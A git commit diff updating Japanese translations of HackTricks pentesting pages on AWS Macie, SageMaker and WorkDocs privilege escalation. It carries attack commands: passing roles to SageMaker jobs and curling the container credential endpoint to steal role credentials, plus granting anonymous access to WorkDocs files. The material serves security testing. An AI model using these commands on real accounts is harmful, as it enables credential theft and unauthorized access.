Translated ['src/pentesting-ci-cd/ansible-tower-awx-automation-controlle

This commit is contained in:
Translator
2025-08-01 10:17:06 +00:00
parent 66a462aa95
commit 83bb7cf26a
47 changed files with 591 additions and 409 deletions

View File

@@ -4,7 +4,7 @@
## Macie
Macieに関する詳細情報は、以下を確認してください
Macieに関する詳細情報は、以下を確認してください:
{{#ref}}
../aws-services/aws-macie-enum.md
@@ -12,26 +12,27 @@ Macieに関する詳細情報は、以下を確認してください
### Amazon Macie - `Reveal Sample` 整合性チェックのバイパス
AWS Macieは、AWS環境内の機密データ資格情報、個人を特定できる情報PII、その他の機密データを自動的に検出するセキュリティサービスです。MacieがS3バケットに保存されたAWSシークレットキーのような機密資格情報を特定すると、所有者が検出されたデータの「サンプル」を表示できるようにする発見を生成します。通常、機密ファイルがS3バケットから削除されると、そのシークレットはもはや取得できないと期待されます。
AWS Macieは、AWS環境内の機密データ資格情報、個人を特定できる情報PII、その他の機密データを自動的に検出するセキュリティサービスです。MacieがS3バケットに保存されたAWSシークレットキーのような機密資格情報を特定すると、所有者が検出されたデータの「サンプル」を表示できるようにする発見を生成します。通常、機密ファイルがS3バケットから削除されると、そのシークレットは取得できないと考えられています。
しかし、十分な権限を持つ攻撃者が**同じ名前のファイルを再アップロード**できる**バイパス**が特定されましたが、そのファイルには異なる非機密のダミーデータが含まれています。これにより、Macieは新しくアップロードされたファイルを元の発見に関連付け、攻撃者は**「Reveal Sample」機能**を使用して以前に検出されたシークレットを抽出できるようになります。この問題は、削除されたと考えられていたシークレットがこの方法で再取得可能であるため、重大なセキュリティリスクをもたらします。
![flow](https://github.com/user-attachments/assets/7b83f2d3-1690-41f1-98cc-05ccd0154a66)
**再現手順**
**再現手順:**
1. 機密データ(例AWSシークレットキーなどを含むファイル`test-secret.txt`をS3バケットにアップロードします。AWS Macieがスキャンして発見を生成するのを待ちます。
1. 機密データ(例: `test-secret.txt`)を含むファイルをS3バケットにアップロードします。AWS Macieがスキャンして発見を生成するのを待ちます。
2. AWS Macieの発見に移動し、生成された発見を見つけて、**Reveal Sample**機能を使用して検出されたシークレットを表示します。
2. AWS Macie Findingsに移動し、生成された発見を見つけて、**Reveal Sample**機能を使用して検出されたシークレットを表示します。
3. S3バケットから`test-secret.txt`を削除し、それが存在しないことを確認します。
4. ダミーデータを含む新しいファイル`test-secret.txt`を作成し、**攻撃者のアカウント**を使用して同じS3バケットに再アップロードします。
5. AWS Macieの発見に戻り、元の発見にアクセスして、再度**Reveal Sample**をクリックします。
5. AWS Macie Findingsに戻り、元の発見にアクセスして、再度**Reveal Sample**をクリックします。
6. ファイルが削除され、異なる内容に置き換えられたにもかかわらず、Macieが元のシークレットをまだ表示することを観察します。**異なるアカウントから、私たちの場合は攻撃者のアカウントになります。**
6. ファイルが削除され、異なる内容に置き換えられたにもかかわらず、Macieが元のシークレットをまだ表示することに注意します。**異なるアカウントから、私たちの場合は攻撃者のアカウントになります。**
**要約**
**要約:**
この脆弱性により、十分なAWS IAM権限を持つ攻撃者は、元のファイルがS3から削除された後でも以前に検出されたシークレットを回復できます。AWSシークレットキー、アクセストークン、またはその他の機密資格情報が露出した場合、攻撃者はこの欠陥を利用してそれを取得し、AWSリソースへの不正アクセスを得ることができます。これにより、特権の昇格、不正なデータアクセス、またはクラウド資産のさらなる侵害が発生し、データ漏洩やサービスの中断を引き起こす可能性があります。
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,8 +1,10 @@
# AWS - Sagemaker Privesc
{{#include ../../../banners/hacktricks-training.md}}
## AWS - Sagemaker Privesc
{{#include ../../../banners/hacktricks-training.md}}
### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
@@ -12,12 +14,12 @@ aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
```
`NotebookInstanceArn` フィールドが含まれている必要があり、これは新しく作成されたノートブックインスタンスの ARN を含みます。次に、`create-presigned-notebook-instance-url` API を使用して、ノートブックインスタンスが準備完了次第アクセスするための URL を生成できます
`NotebookInstanceArn` フィールドが含まれている必要があり、これは新しく作成されたノートブックインスタンスの ARN を含みます。次に、`create-presigned-notebook-instance-url` API を使用して、ノートブックインスタンスが準備完了した際にアクセスするための URL を生成できます:
```bash
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>
```
ブラウザでURLに移動し、右上の \`Open JupyterLab\` をクリックし次に「Launcher」タブまでスクロールし、「Other」セクションの下にある「Terminal」ボタンをクリックします。
ブラウザでURLに移動し、右上の \`Open JupyterLab\` をクリックします。次に「Launcher」タブまでスクロールし、「Other」セクションの下にある「Terminal」ボタンをクリックします。
これで、IAMロールのメタデータ資格情報にアクセスすることが可能です。
@@ -29,7 +31,7 @@ aws sagemaker create-presigned-notebook-instance-url \
```bash
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
```
**潜在的な影響:** 添付されたsagemakerサービスロールへの権限昇格。
**潜在的な影響:** sagemakerサービスロールへの権限昇格。
### `sagemaker:CreateProcessingJob,iam:PassRole`
@@ -45,14 +47,14 @@ aws sagemaker create-processing-job \
# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds
```
**潜在的影響:** 指定されたsagemakerサービスロールへの権限昇格。
**潜在的影響:** 指定されたsagemakerサービスロールへの権限昇格。
### `sagemaker:CreateTrainingJob`, `iam:PassRole`
これらの権限を持つ攻撃者は、**任意のコンテナを実行する**トレーニングジョブを作成でき、そのジョブに**ロール添付**することができます。したがって、攻撃者はそのロールの資格情報を盗むことができます。
これらの権限を持つ攻撃者は、**任意のコンテナを実行する**トレーニングジョブを作成でき、**ロール添付**されます。したがって、攻撃者はそのロールの資格情報を盗むことができます。
> [!WARNING]
> このシナリオは、前のものよりも悪用が難しいです。なぜなら、リバースシェルや資格情報を攻撃者に直接送信するDockerイメージを生成する必要があるからです(トレーニングジョブの設定で開始コマンドを指定することはできません)。
> このシナリオは、攻撃者がリバースシェルや資格情報を直接送信するDockerイメージを生成する必要があるため、前のシナリオよりも悪用が難しいです(トレーニングジョブの設定で開始コマンドを指定することはできません)。
>
> ```bash
> # Dockerイメージを作成
@@ -95,7 +97,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
その権限を持つ攻撃者は(潜在的に)**ハイパーパラメータトレーニングジョブ**を作成し、**任意のコンテナ**をそれに**ロールを付けて**実行できる可能性があります。\
_時間がなかったため、私はこの脆弱性を悪用していませんが、以前の悪用と似ているように見えます。悪用の詳細を含むPRを送信しても構いません。_
_時間がなかったため、私はこの脆弱性を悪用していませんが、以前の脆弱性と似ているように見えます。悪用の詳細を含むPRを送信しても構いません。_
## 参考文献

View File

@@ -1,8 +1,10 @@
# AWS - WorkDocs Privesc
{{#include ../../../banners/hacktricks-training.md}}
## WorkDocs
WorkDocsに関する詳細情報は、以下を確認してください
WorkDocsに関する詳細情報は、以下を確認してください:
{{#ref}}
../aws-services/aws-directory-services-workdocs-enum.md
@@ -10,12 +12,12 @@ WorkDocsに関する詳細情報は、以下を確認してください
### `workdocs:CreateUser`
指定されたディレクトリ内にユーザーを作成すると、WorkDocsとADの両方にアクセスできるようになります
指定されたディレクトリ内にユーザーを作成すると、WorkDocsとADの両方にアクセスできるようになります:
```bash
# Create user (created inside the AD)
aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password <password> --email-address name@directory.domain --organization-id <directory-id>
```
### `workdocs:GetDocument`, `(workdocs:DescribeActivities)`
### `workdocs:GetDocument`, `(workdocs:DescribeActivities`)`
ファイルには機密情報が含まれている可能性があるため、読み取ってください:
```bash
@@ -30,7 +32,7 @@ aws workdocs get-document --document-id <doc-id>
```
### `workdocs:AddResourcePermissions`
何かを読むアクセス権がない場合は、それを単に付与することができます。
何かを読むアクセス権がない場合は、それを付与するだけです。
```bash
# Add permission so anyway can see the file
aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER
@@ -41,6 +43,11 @@ aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymo
ユーザーを管理者にするには、グループ ZOCALO_ADMIN に設定します。\
そのためには、[https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) の指示に従ってください。
そのユーザーで workdoc にログインし、`/workdocs/index.html#/admin` 管理パネルにアクセスします。
そのユーザーで workdoc にログインし、`/workdocs/index.html#/admin` 管理パネルにアクセスします。
CLI からこれを行う方法は見つかりませんでした。
{{#include ../../../banners/hacktricks-training.md}}